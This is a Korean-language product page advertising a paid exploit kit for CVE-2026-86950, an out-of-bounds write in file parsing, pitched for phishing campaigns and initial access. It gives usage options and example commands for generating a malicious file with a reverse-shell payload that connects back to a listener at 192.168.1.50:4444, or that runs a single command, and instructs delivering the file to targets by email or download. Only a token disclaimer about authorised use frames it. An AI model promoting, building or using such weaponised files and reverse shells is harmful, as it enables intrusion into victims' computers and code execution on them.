CVE-2026-86950 / EUVD-2026-88445 - 파일 처리 범위 초과 쓰기 RCE

설명

CVE-2026-86950 (CWE-787).
특수하게 조작된 파일을 파싱하는 과정에서 발생하는 범위 초과 쓰기입니다. 크기/오프셋 필드에 대한 범위 검사가 누락되어 있어, 대상 애플리케이션이 해당 파일을 처리할 때 제어된 힙 손상이 가능합니다.

인증되지 않은 공격자가 파일을 전달합니다(이메일, 다운로드, 공유). 사용자 상호작용이 필요합니다(열기/처리). 코드는 파싱 애플리케이션의 권한으로 실행됩니다.

레드팀 피싱/스피어 피싱 캠페인, 엔드포인트 초기 접근, 네트워크 인증 없이 제어된 코드 실행에 유용합니다.

익스플로잇

다운로드

요구 사항

• Python 3.10+
• 취약한 파일 형식을 처리하는 대상 애플리케이션 (일반적인 문서/이미지 뷰어)
• 공격자 측에서 특별한 권한 불필요

기능

• OOB 쓰기를 트리거하는 단일 악성 파일 생성
• 임의 코드 실행으로 이어지는 제어된 힙 손상
• 페이로드 옵션: 리버스 셸, 명령 실행, 인메모리 로더
• 최소 흔적 – 추가 드로퍼 불필요
• 표준 파일 전달 방식과 호환 (이메일 첨부, 브라우저 다운로드, 네트워크 공유)

설치

구매 후 전체 패키지 아카이브를 받게 됩니다.
압축을 풀고 의존성을 설치하세요:

pip install -r requirements.txt

사용법

python exploit.py [options]
  -o, --output       <file>          악성 파일 출력 (필수)
  -p, --payload      <type>          reverse | cmd | custom (기본값: reverse)
  -L, --lhost        <ip>            리스너 IP (reverse용)
  -P, --lport        <port>          리스너 포트 (reverse용)
  -c, --cmd          <command>       실행할 단일 명령
  --arch             x64|x86         대상 아키텍처 (기본값: x64)

예시 (리버스 셸):

python exploit.py -o evil.file -p reverse -L 192.168.1.50 -P 4444

예시 (단발 명령):

python exploit.py -o evil.file -p cmd -c "whoami > C:\\temp\\out.txt"

생성된 파일을 대상에게 전달하세요. 취약한 애플리케이션에서 열거나 처리하면 OOB 쓰기가 트리거되고 페이로드가 실행됩니다.

라이선스

승인된 레드팀 / 침투 테스트 용도로만 사용하세요. 무단 사용은 불법입니다.
전체 패키지는 구매 후에만 제공됩니다.